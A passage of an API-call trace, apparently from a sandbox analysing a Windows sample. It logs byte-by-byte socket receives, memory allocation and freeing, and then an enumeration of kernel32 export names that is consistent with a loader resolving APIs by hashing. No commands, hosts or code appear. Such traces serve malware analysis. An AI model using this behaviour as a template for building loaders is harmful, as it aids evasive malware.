buf=0x2e7f82d*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0086.356] recv (in: s=0x360, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0086.357] recv (in: s=0x360, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0086.358] recv (in: s=0x360, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0086.359] recv (in: s=0x360, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0086.360] recv (in: s=0x360, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0086.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x3000, flProtect=0x4) returned 0x0 [0086.360] recv (in: s=0x360, buf=0x0, len=0, flags=0 | out: buf=0x0) returned 0 [0086.361] VirtualFree (lpAddress=0x3060000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.361] VirtualFree (lpAddress=0x30a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.361] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.362] closesocket (s=0x360) returned 0 [0086.362] WSACleanup () returned 0 [0086.467] lstrlenA (lpString="kernel32.dll") returned 12 [0086.467] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.467] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0086.467] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0086.467] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0086.467] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0086.467] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0086.467] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0086.467] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0086.467] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0086.467] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0086.467] lstrlenA (lpString="ADDATOMA") returned 8 [0086.467] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0086.467] lstrlenA (lpString="ADDATOMW") returned 8 [0086.467] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0086.468] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0086.468] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0086.468] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0086.468] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0086.468] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0086.468] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0086.468] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0086.468] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0086.468] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0086.468] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0086.468] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0086.468] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0086.468] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0086.468] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0086.468] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0086.468] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0086.468] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0086.469] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0086.469] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0086.469] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0086.469] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0086.469] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0086.469] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0086.469] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0086.469] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0086.469] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0086.469] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0086.469] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0086.469] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0086.469] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0086.469] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0086.469] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0086.469] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0086.470] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0086.470] lstrlenA (lpString="BACKUPREAD") returned 10 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0086.470] lstrlenA (lpString="BACKUPSEEK") returned 10 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0086.470] lstrlenA (lpString="BACKUPWRITE") returned 11 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0086.470] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0086.470] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0086.470] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0086.470] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0086.470] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0086.470] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0086.470] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0086.470] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0086.470] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0086.470] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0086.470] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0086.470] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0086.471] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0086.471] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0086.471] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0086.471] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0086.471] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0086.471] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0086.471] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0086.471] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0086.471] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0086.471] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0086.471] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0086.471] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0086.471] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0086.471] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0086.471] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0086.471] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0086.471] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0086.471] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0086.471] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0086.471] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0086.472] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0086.472] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0086.472] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0086.472] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0086.472] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0086.472] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0086.472] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0086.472] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0086.472] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BasepCheckAppCompat" | out: 